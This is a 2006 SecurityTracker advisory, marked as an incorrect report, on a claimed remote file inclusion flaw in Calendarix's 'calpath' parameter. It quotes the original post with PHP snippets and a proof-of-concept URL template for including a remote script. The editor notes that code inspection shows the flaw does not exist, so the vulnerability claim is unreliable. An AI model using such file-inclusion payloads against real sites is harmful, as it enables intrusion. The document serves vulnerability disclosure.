[Incorrect Report] Calendarix 'calpath' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016694 |
|
SecurityTracker URL: http://securitytracker.com/id/1016694
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Updated: Aug 15 2006
|
Original Entry Date: Aug 14 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 0.7.20060401
|
Description:
A vulnerability was reported in Calendarix. A remote user can include and execute arbitrary code on the target system. [Editor's note: This report appears to be incorrect.]
The software does not properly validate user-supplied input in the 'calpath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]
Sh3ll reported this vulnerability.
[Editor's note: On code inspection, the $calpath parameter is defined in the 'cal_config.inc.php' script to be a local directory. As a result, the parameter cannot be specified by the remote user.]
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
[Editor's note: Based on code inspection, this report appears to be incorrect and will be deleted from our database shortly.]
|
Vendor URL: www.calendarix.com/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 12 Aug 2006 09:59:20 +0000
Subject: Calendarix <= 0.7 (calpath) Remote File Inclusion Vulnerability
|
---------------------------------------------------------------------------------------
Calendarix 0.7 calpath Remote File Inclusion
---------------------------------------------------------------------------------------
Author : Sh3ll
Date : 2006/08/11
HomePage : http://www.sh3ll.ir
Contact : sh3ll[at]sh3ll[dot]ir
---------------------------------------------------------------------------------------
Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Calendarix
version : 0.7.20060401
Venedor : http://www.calendarix.com
Class : Remote File Inclusion
Risk : High
Summary :
Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL.
---------------------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~
in cal_config.inc.php We Found Vulnerability Script
--------------------------------------cal_config.inc.php-------------------------------
....
<?php
// Check file exist for admin call to this script
require $calpath."cal_db.inc.php";
...
$language = 'e';
# don't change next 3 lines !
require $calpath."cal_languages/".$language.".inc.php";
require $calpath."cal_languages/".$language.".months.php";
require $calpath."cal_languages/".$language.".week.php";
...
include $calpath."themes/".$theme.".color.php" ;
?>
...
---------------------------------------------------------------------------------------
PoC:
~~~
http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]
Solution:
~~~~~~~~
Sanitize Variabel $calpath in cal_config.inc.php
----------------------------------------------------------------------------------------
Note:
~~~~
Venedor Contacted, But No Response. So Do a Dirty Patch.
----------------------------------------------------------------------------------------
Shoutz:
~~~~~~
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams
|
|